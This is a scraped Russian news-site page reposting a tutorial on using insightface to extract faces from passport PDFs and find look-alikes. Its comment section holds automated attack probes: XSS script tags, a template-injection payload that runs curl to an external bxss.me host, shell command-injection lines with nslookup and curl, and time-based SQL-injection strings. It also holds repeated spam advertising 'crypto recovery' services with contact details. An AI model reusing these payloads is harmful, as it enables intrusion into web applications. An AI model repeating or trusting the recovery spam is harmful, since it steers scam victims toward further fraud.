Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Использование Insightface для быстрого поиска и сравнения лиц на изображениях

ca7d0f172ada1af02185799aa92e02ae.png

Привет, Хабр!

С вами Вадим Дарморезов, участник профессионального сообщества NTA.

Сегодня рассмотрю кейс поиска «близнецов» в паспортных данных, которые были размещены в pdf‑файлах, насчитывающих десятки, а порой и сотни страниц.

Навигация по посту

Введение

Для поиска схожих изображений последовательность шагов обычно следующая:

  1. Считывание и обработка изображений: приведение изображений к одному размеру, перевод в градации серого и т. д.

  2. Преобразование изображений в вектора.

  3. Поиск разницы между векторами изображений и нахождение «близнецов».

В проектах, связанных с распознаванием лиц своеобразными «флагманами» являются библиотеки dlib/face‑recognition и свёрточные нейронные сети. При этом на просторах русскоязычного интернета довольно мало статей о библиотеке insightface. Именно о её использовании хотелось бы поговорить более подробно.

Insightface — open‑source набор инструментов для анализа 2D и 3D изображений, реализованный с помощью фреймворков машинного обучения PyTorch и MXNet. Данная библиотека эффективно реализует широкий спектр современных алгоритмов распознавания/детектирования/выравнивания лиц, которые оптимизированы как для обучения, так и для развертывания.

Приступлю к установке библиотеки. Выполню команду:

pip install -U insightface

Начиная с версии библиотеки 0.2.0, в качестве бэкенда для вычислений используется не MXNet, а onnxruntime. Данная библиотека (нейронная сеть) позволяет в качестве инференса использовать CPU или GPU.

В случае использования CPU, инференс выполняется на логических ядрах процессора, число которых равно числу физических ядер или, при использовании технологии Hyperthreading, увеличено вдвое. Использование CPU на глубоких нейросетях неэффективно из‑за ограниченного обмена данными с ОЗУ, что существенно влияет на скорость работы. Также ограничения на производительность накладываются самой архитектурой — в процессе инференса решаются простые задачи сравнения, которые легко переносятся на параллельные вычисления, но количество параллельных потоков обработки всегда будет ограничено количеством логических ядер CPU.

Инференс с использованием GPU за счет иной архитектуры процессора, наличия высокоскоростной памяти и гибкой системы управления кэш‑памятью гораздо эффективнее, чем инференс на CPU. Плюсом является кардинальное (до 100 раз) ускорение работы и крайне высокая эффективность обучения по сравнению с CPU.

Для установки необходимо выполнить следующие команды:

pip install onnx

Команда

Что используется в качестве инференса

pip install onnxruntime

CPU

pip install onnruntime-gpu

GPU

После установки необходимых пакетов необходимо выбрать модель, которая будет использоваться для работы. Список моделей, которые могут быть использованы при работе, представлен в таблице ниже:

Название

Модель детекции

Модель распознавания

Атрибуты

Размер модели

antelopev2

SCRFD-10GF

ResNet100@Glint360k

Пол и возраст

407Mb

buffalo_l

SCRFD-10GF

ResNet50@WebFace600k

Пол и возраст

326Mb

buffalo_m

SCRFD-2.5GF

ResNet50@WebFace600k

Пол и возраст

313Mb

buffalo_s

SCRFD-500MF

MBF@WebFace600k

Пол и возраст

159Mb

buffalo_sc

SCRFD-500MF

MBF@WebFace600k

-

16Mb

Далее, возможны два варианта запуска модели.

Запуск модели

1 вариант – запуск модели, с работающим подключением к сети Интернет

Для этого просто запускаю следующую строку: 

app = FaceAnalysis(name="buffalo_l", providers=['CUDAExecutionProvider'])

Все необходимые для работы модели onnx‑файлы будут скачаны и размещены в директории ~/.insightface/models/. В дальнейшем при инициализации модели дополнительные загрузки производиться не будут.

2 вариант – запуск модели в оффлайн-режиме

При отсутствии возможности подключения компьютера к сети интернет для скачивания файлов, необходимо вручную создать следующую структуру директорий ~/.insightface/models/ и разместить туда предварительно скачанные onnx‑файлы модели.

В моем случае была необходима инициализация модели в оффлайн‑режиме, для чего был разработан класс для настройки рабочего окружения (создание необходимых для работы директорий, перемещение onnx‑файлов модели).

Развернуть код
import os
import shutil 
class InitialSetup:
    def create_directories(self):
        directories_list = ['pdf', 'model','faces', 'model_result']
        for directory in directories_list:
            if not os.path.isdir(directory):
                os.mkdir(directory)
                print(f'Директория {directory} успешно создана.')
            else:
                print(f'Директория {directory} уже существует.')
        model_directory = r'/home/datalab/.insightface/models/buffalo_l'
        if not os.path.isdir(model_directory):
            os.makedirs(model_directory)
            print(f'Директория {model_directory} успешно создана.')
        else:
            print(f'Директория {model_directory} уже существует.')
def move_model_files(self):
        #список необходимых для работы модели onnx-файлов
        insightface_work_files = (
            'genderage.onnx',
            'w600k_r50.onnx',
            'det_10g.onnx',
            '2d106det.onnx',
            '1k3d68.onnx'
        )
        # определяю список onnx-файлов в необходимой для работы модели директории
        insightface_model_directory = r'/home/datalab/.insightface/models/buffalo_l'
        insightface_files = set(os.listdir(insightface_model_directory))
        #Проверяю, есть ли необходимые для работы модели файлы в необходимой директории
        if insightface_files==insightface_work_files:
            print('Все необходимые для работы модели onnx-файлы размещены.')
        else:
            #выгружаю список onnx-файлов модели
            model_files = [os.path.join('model', file) for file in os.listdir('model')]
            clear_model_files = set([file.split('/')[-1] for file in model_files])
            print(clear_model_files)
            if clear_model_files == insightface_work_files:
                for model_file in model_files:
                    shutil.copy(model_file, insightface_model_directory)
                print('Перемещение необходимых файлов прошло успешно.')
            else:
                print('Проверьте список onnx-файлов для перемещения.')

После формирования рабочего окружения можно приступать к обработке pdf‑файлов и обработке изображений.

Обработка pdf-файлов и обработка изображений

Начну с импорта необходимых библиотек: 

import glob
import numpy as np
import matplotlib.pyplot as plt
import cv2
from pathlib import Path
from tqdm import tqdm
import pandas as pd
import fitz
import traceback
import onnxruntime as ort
from insightface.app import FaceAnalysis
from sklearn.neighbors import NearestNeighbors
from numpy.linalg import norm
from PIL import Image

После импорта библиотек посмотрю, как можно извлечь изображение из pdf‑файлов. Для этой задачи была выбрана библиотека fitz. Для корректной работы данной библиотеки необходимо установить пакет pymupdf.

doc = fitz.open(путь к pdf-файлу)
for i in range(len(doc)):
    for img in doc.get_page_images(i):
        xref = img[0]
        pix = fitz.Pixmap(doc, xref)
        if pix.n > 4:
            pix = fitz.Pixmap(fitz.csRGB, pix)
        img = np.frombuffer(pix.samples, dtype=np.uint8).reshape(pix.height, pix.width, pix.n)
        try:
            img = np.ascontiguousarray(img[...,[2,1,0]])
        except IndexError:
            img = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)
            img = np.ascontiguousarray(img[...,[2,1,0]])

Далее, рассмотрю, как работает поиск лиц на изображениях. Инициализирую модель: 

app = FaceAnalysis(name="buffalo_l", providers=['CUDAExecutionProvider'])
app.prepare(ctx_id=0, det_size=(256,256))

В качестве примера я хотел бы использовать знаменитое селфи Эллен Дедженерес с церемонии Оскар-2014:

c88256d0a50106d7e07d7240b27de597.jpg

Данное фото выбрано не только потому, что на нем представлен каст выдающихся актеров Голливуда, но и по следующим причинам:

  • на фото представлены как мужчины, так и женщины;

  • представлены люди различных возрастов;

  • лица некоторых звезд видны не полностью — закрыты волосами соседей, руками и т. д.

Код для распознавания достаточно прост:

image = cv2.imread('test.jpg') # считываю изображение 
faces = app.get(image) # произвожу распознавание лиц
rimg = app.draw_on(image, faces) # отрисовка области с лицами
cv2.imwrite('res.jpg', rimg) # сохранение результата

Посмотрю, что получилось:

004da51a52758a2dd86bf23d07f9c69b.jpg

С детекцией лиц на изображении модель справилась отлично, были распознаны даже частично прикрытые лица, а вот с определением пола и возраста ситуация не так однозначна. Модели не удается точно определять пол, в случае затрудненной видимости анализируемого объекта, как получилось в случае Анджелины Джоли (порядка 50 процентов лица скрыто), так же при определении возраста возникают значительные погрешности (например, возраст Брэдли Купера на момент снимка — 39 лет, Дженнифер Лоуренс — 24 года).

Посмотрю, какие значения хранятся в переменной faces на примере одного лица:

{'bbox': array([1048.6523,477.87848, 1427.735,1018.7425 ], dtype=float32),
 'kps': array([[1109.926,676.95526],
        [1291.9822,678.36816],
        [1178.8099,779.84735],
        [1122.0046 ,848.871  ],
        [1304.9967,849.50073]], dtype=float32),
 'det_score': 0.9315067,
 'landmark_3d_68': array([[ 1.0514039e+03,  6.8547186e+02,  3.2998676e+02],
        ***
        [ 1.1808237e+03,  8.8022034e+02,  4.9980091e+01]], dtype=float32),
 'pose': array([ -2.3625553, -11.447153 ,  -1.7689382], dtype=float32),
 'landmark_2d_106': array([[1219.4696 , 1027.5748 ],
        ***
        [1340.001  ,  621.7045 ]], dtype=float32),
 'gender': 1,
 'age': 57,
 'embedding': array([ 6.67082489e-01, -7.11157694e-02,  9.92161810e-01, -1.89440691e+00,
        ***
         1.37064215e-02, -7.82325566e-02,  5.46212256e-01, -6.86526656e-01],
       dtype=float32)}

Необходимые для дальнейшего анализа переменные:

  • bbox — хранит в себе координаты точек, ограничивающих область лица;

  • gender — пол человека, которому принадлежит обнаруженное лицо;

  • age — возраст человека, которому принадлежит лицо;

  • embedding — векторное представление обнаруженного лица.

Объединю полученные знания и коды:

Развернуть код
class FaceWorker:
    
    def __init__(self):
        self.app = FaceAnalysis(name="buffalo_l", providers=['CUDAExecutionProvider'])
        self.app.prepare(ctx_id=0, det_size=(256,256))
        self.knn = NearestNeighbors(metric='cosine', algorithm='brute')
        
    def extract_faces_from_pdf(self,files_paths, result_images_directory='faces'):
        errors_count = 0
        try:
            with open('completed_files.csv','a+') as file:
                for file_path in tqdm(files_paths):
                    file_name = Path(file_path).stem
                    doc = fitz.open(file_path)
                    for i in range(len(doc)):
                        for img in doc.get_page_images(i):
                            xref = img[0]
                            pix = fitz.Pixmap(doc, xref)
                            if pix.n > 4:
                                pix = fitz.Pixmap(fitz.csRGB, pix)
                            img = np.frombuffer(pix.samples, dtype=np.uint8).reshape(pix.height, pix.width, pix.n)
                            try:
                                img = np.ascontiguousarray(img[...,[2,1,0]])
                            except IndexError:
                                img = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)
                                img = np.ascontiguousarray(img[...,[2,1,0]])
                            faces = self.app.get(img)
                            if len(faces)>0:
                                for j,face in enumerate(faces):
                                    try:
                                        bbox = face.bbox
                                        x1,y1,x2,y2 = int(bbox[0]), int(bbox[1]), int(bbox[2]), int(bbox[3])
                                        crop_img = img[ y1:y2,x1:x2]
                                        face_directory  = os.path.join(result_images_directory, f'{file_name}_face_{j}.png')
                                        cv2.imwrite(face_directory, crop_img)
                                    except cv2.error as error:
                                        errors_count +=1
                                        continue
                    end_time = dt.now().strftime('%d-%m-%Y %H:%M')
                    file.write(f'{file_path}|{end_time}\n')
        except:
            error = traceback.format_exc()
            print(f'При попытке поиска лиц в pdf-файлах произошла ошибка:\n{error}\nПоследний обработанный файл записан в completed_files.csv\n')
        finally:
            print(f'Ошибок записи cv2.error - {errors_count}')

    def face_vectorizer(self, face_path):
        try:
            image = cv2.imread(face_path)
            faces = self.app.get(image)
            if len(faces)>0:
                return faces[0].embedding
        except:
            error = traceback.format_exc()
            print(error)

Применю полученный код для поиска лиц в pdf‑файлах и их преобразования в векторное представление:

fw = FaceWorker()
pdfs = glob.glob('pdf/*.pdf')
print(f'Количество pdf-файлов для обработки - {len(pdfs)}')
fw.extract_faces_from_pdf(pdfs)
search_faces = glob.glob('faces/*.png')
vectors_dict = {
    'images_paths':[],
    'images_vectors':[]
}
for search_face in tqdm(search_faces):
    vector = fw.face_vectorizer(search_face)
    if vector is not None:
        vectors_dict['images_paths'].append(search_face)
        vectors_dict['images_vectors'].append(vector)
print('Лица преобразованы в вектора.')

Для поиска похожих изображений, представленных в векторном виде, буду использовать метод ближайших соседей из библиотеки sklearn, где в качестве метрики близости векторов будет выступать косинусное расстояние (данный подход не является единственно верным, существует множество методов расчета близости векторов).

Применю реализованный метод:

similar_faces = fw.search_similar_faces(vectors_dict, 30, 0.7)
print('Сформирован список схожих лиц.')
all_similar_images = []
for cluster in similar_faces:
    similar_images = [element[0] for element in cluster]
    all_similar_images.append(similar_images)
filtered_similar_images = []
for i,element in enumerate(all_similar_images):
    if set(element) not in filtered_similar_images:
        filtered_similar_images.append(set(element))
print('Отфильтрованы все возможные комбинации одних и тех же изображений.')

В первом тестовом примере модель не справилась с полным распознаванием Анджелины Джоли, будет логичным протестировать готовый код на датасете известных актеров с целью найти её «близнецов». Результат сравнения представлен ниже:

c83e21cc3f3bd8d078d2769916aa9659.png

Заключение

Мне удалось реализовать систему для детектирования лиц в pdf-документах и поиска похожих людей с помощью библиотеки Insightface.Также хотелось бы отметить, что возможна гибкая настройка множества участков данной системы (от извлечения изображений из pdf-документов до методов расчета сходства изображений), что может позволить ускорить не только скорость обработки данных, но и качество распознавания и поиска дублирующихся и похожих лиц. Библиотека insightface богата на различные методы обработки лиц и может быть использована не только для их выявления и сравнения.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

